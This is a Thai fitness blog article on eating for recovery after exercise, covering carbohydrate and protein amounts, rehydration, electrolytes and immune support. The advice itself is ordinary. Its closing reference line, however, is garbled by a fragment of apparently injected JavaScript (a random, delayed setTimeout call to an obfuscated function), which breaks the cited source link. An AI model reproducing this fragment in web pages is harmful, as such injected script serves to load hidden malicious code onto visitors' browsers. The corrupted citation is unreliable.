• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

กินเพื่อฟื้นฟู (Eat to recovery)

stepextra by stepextra
21 August 2015
in Feature, Healthy Tips, Tips & Technics
0
กินเพื่อฟื้นฟู (Eat to recovery)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

กินเพื่อฟื้นฟู (Eat to recovery)

สิ่งที่สำคัญนอกจากการกินอาหารเช้าก็คือการรับประทานอาหารหลังจากการอออกำลังกาย หรือ post-workout meal ทั้งนี้เพื่อให้ร่างกายได้มีการสะสมแหล่งพลังงานใหม่และซ่อมแซมร่างกาย ให้อยู่ในสภาวะพร้อมที่สุดสำหรับการออกกำลังกายในครั้งต่อๆ ไป

ข้อควรรู้…ในภาษาอังกฤษ คำว่า Recovery หมายถึง “the act of regaining or returning toward a normal or healthy state.” หรือการกระทำ พฤติกรรมการฟื้นฟูให้กลับคืนสุ่สภาวะปกติ หรือการทำให้ร่างกายกลับมามีสุขภาพดีเหมือนเดิม ทั้งนี้ในการ Recovery สารอาหารที่รับเข้าไปนั้นมีผลต่อการ Recovery และ performance ของเรามาก

วัตถุประสงค์ในการ Recovery นั้นครอบคลุมถึง

  1. การเติมเต็ม (Replenishing) สาร Glycogen กลับไปใหม่ทั้งในกล้ามเนื้อและตับ
  2. การรับประทานโปรตีนเพื่อช่วยซ่อมแซมกล้ามเนื้อ
  3. การเติมสารอิเล็กโตรไลด์และของเหลว (น้ำ) กลับไปใหม่หลังจากสูญเสียออกทางเหงื่อ
  4. รักษาภูมิคุ้มกันให้อยู่ในระดับที่ทำงานได้ดี

ร่างกายของเราจะอยู่ในสภาวะพร้อมที่จะย่อยและรับสารอาหารได้ดีหลังจากจบการออกกำลังกายไปแล้ว 30 นาที ฉะนั้นช่วงเวลา 30 นาทีนี้จึงถือว่าเป็น Prime time ของร่างกายที่ควรจะรับสารอาหารเพื่อฟื้นฟูร่างกายและเสริมสร้างกล้ามเนื้อได้ดี และเมื่อร่างกายเข้าสู่สภาวะ cool down เรียบร้อบแล้ว ประมาณ 1-2 ชั่วโมงถัดมาก็เหมาะแก่การรับประทานอาหารเช่นกัน

การเติมเต็ม (Replenishing) สาร Glycogen กลับไปใหม่

แนะนำให้รับประทานคาร์โบไฮเดรตประมาณ 1.2g ต่อ น้ำหนักร่างกาย 1 kg หลังจากออกกำลังกาย แต่สำหรับบางคนการรับอาหารเข้าไปที่ละมากๆ ก็ไม่สะดวก ดังนั้นจึงมีอีกวิธีหนึ่งคือ รับโปรตีน 0.2-0.4g/kg และคาร์โบอีกประมาณ 0.8g/kg ก็จะให้ผลที่คล้ายๆ กัน

การเสริมสร้างและฟื้นฟูกล้ามเนื้อ

การออกกำลังกายที่หนักและยาวนานอย่างกีฬาประเภท Endurance จะทำให้โปรตีนกล้ามเนื้อถูกย่อยสลายนำใช้เยอะ นี้ทำให้การรับสารอาหารเพื่อนำไปใช้การฟื้นฟูกล้ามเนื้อเป็นเรื่องสำคัญยิ่ง เพราะเมื่อหลังจบการออกกำลังกายกระบวนการ แคแทบอลิซึม (catabolism) ลดลงและการทำงานของแอแนบอลิซึม (anabolism) จะพิ่มขึ้นตลอด 24 ชัวโมง การรับกรดอะมิโนแอซิค (Amio acid) จากโปรตีนคุณภาพที่ดีจะทำให้กล้ามเนื้อเราฟื้นฟูได้เร็วขึ้น โดยแนะนำให้บริโภค 20-30 g โปรตีนหลังจบการออกกำลังกายไป 1 ชั่วโมงแรกจะได้ผลดีที่สุด

การรักษาระดับน้ำของเหลวในร่างกาย

นักกีฬาส่วนมากจะสูญเสียน้ำไปมากหลังการออกกำลังกาย เราจะอยู่ในสภาวะ fluid deficit (ขาดน้ำ) และเพื่อรักษาสมดุลน้ำ ในช่วงเวลา 4-6 ชั่วโมงหลังจบการออกกำลังกายเราควรรับน้ำเข้าไปถึง 125-150% ของน้ำที่สูญเสียไประหว่างออกกำลังกาย

ร่างกายไม่ได้ขาดเฉพาะน้ำเท่านั้นแต่รวมถึงเกลือแร่ อิโลกโตรไลด์ที่ไปกับเหงื่อ เพราะสารเหล่านี้จะช่วยในการดูดซับน้ำในร่างกาย เราจึงควรเพิ่มสารเกลื่อแร่อย่างโซเดียมเข้าไป 50-80 mmol (millimoles per litre) เพื่อให้การ rehydrate ได้ผลเต็มที่ ถ้าพูดกันง่ายๆ ใครที่ออกกำลังกายเกิน 60 นาทีก็ควรรับเครื่องดื่มที่มีเกลือแร่เข้าไป ไม่ใช้รับแต่น้ำอย่างเดียว การ recovery จะให้ผลดีขึ้นลดอาการเหนื่อยล้าลงได้เยอะ

รักษาการทำงานงานระบบคุ้มกัน

การออกกำลังกายอย่างหนักย่อมส่งผลต่อระบบภูมิคุ้มกัน ไม่เฉพาะการสะสมความเมื่อยล้าเท่านั้นแต่มีการสะสมความเครียดให้ร่างกายด้วย วิธีฟื้นฟูที่ง่ายที่สุดและรักษาระบบภูมิคุ้มกันนอกจากการรับประทานอาหารแล้วคือการนอนหลับพักผ่อนให้เพียงพอ ส่วนการรับสารอาหารอื่นๆ อย่าง วิตามิน C และ E ธาตุอาหาร Zine, Glutamine และเหล่าโปรไบโอติก ก็สามารถช่วยได้เช่นกัน

อ้าวอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-what-to-eat-post-workout”>breakingmuscle.com

 

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.